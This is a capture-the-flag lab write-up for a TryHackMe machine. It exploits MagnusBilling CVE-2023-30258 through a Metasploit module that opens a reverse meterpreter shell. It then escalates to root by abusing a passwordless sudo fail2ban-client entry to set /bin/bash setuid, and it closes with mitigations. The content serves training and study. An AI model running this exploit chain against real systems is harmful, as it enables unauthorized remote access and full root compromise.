Step-by-step walkthrough exploiting CVE-2023-30258 (MagnusBilling RCE) and escalating privileges via fail2ban misconfiguration on a TryHackMe lab. Demonstrates web enumeration, Metasploit exploitation, and Linux privilege escalation.
⸻
🛡️ MagnusBilling RCE → Root (CVE-2023-30258)
📌 Overview • Target: 10.145.148.203 • Platform: TryHackMe • Vulnerability: CVE-2023-30258 • Access: Unauthenticated Remote Code Execution (RCE) • Privilege Escalation: fail2ban misconfiguration • Final Access: Root
⸻
🔍 1. Reconnaissance
Port Scan
rustscan -a 10.145.148.203
📊 Open Ports
Port Service
22 SSH
80 HTTP
3306 MySQL
5038 Asterisk

The presence of Asterisk hints at a VoIP/billing system.
⸻
🌐 2. Web Enumeration
Directory Fuzzing
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
-u "http://10.145.148.203/mbilling/FUZZ" -ic -c
📁 Findings: • /archive • /assets • /lib • /tmp • /protected
The /mbilling path is identified as a potential attack vector.

⸻
🚨 3. Vulnerability Identification
CVE-2023-30258
MagnusBilling is vulnerable to: • Unauthenticated Remote Code Execution (RCE) • Command Injection • Full system compromise
⸻
💣 4. Exploitation (Metasploit)
msfconsole
search CVE:2023-30258
use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
set RHOSTS 10.145.148.203
set LHOST tun0
set LPORT 4444
run

⸻
🎯 Result
meterpreter session opened
sysinfo
OS: Linux Debian User: asterisk
⸻
🔐 5. Initial Access
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
whoami
asterisk
⸻
🏁 6. User Flag
cd /home/magnus cat user.txt
⸻
🔎 7. Privilege Escalation
Check sudo
sudo -l
(ALL) NOPASSWD: /usr/bin/fail2ban-client
Critical misconfiguration detected!
⸻
💣 8. Exploiting Fail2Ban
Add a malicious action
sudo fail2ban-client set mbilling_login addaction evil
sudo fail2ban-client set mbilling_login action evil actionban "chmod +s /bin/bash"
sudo fail2ban-client set mbilling_login banip 127.0.0.1
⸻
🚀 9. Root Access
/bin/bash -p
id
euid=0(root)
Initially whoami returned asterisk. Using bash -p escalates to root.
⸻
👑 10. Root Flag
cat /root/root.txt
⸻
🧠 11. Key Takeaways • CVE exploitation provided easy initial access • Web enumeration is critical (ffuf identified /mbilling) • Misconfigured sudo can lead to full system compromise • fail2ban can be abused for privilege escalation
⸻
🛡️ 12. Mitigation • Update MagnusBilling to the latest version • Remove NOPASSWD from sudo configuration • Restrict access to fail2ban-client • Harden web applications and endpoints
⸻
💀 Conclusion
This machine demonstrates a realistic attack chain:
Web RCE → Shell → Privilege Escalation → Root
A combination of vulnerability + misconfiguration led to full system compromise.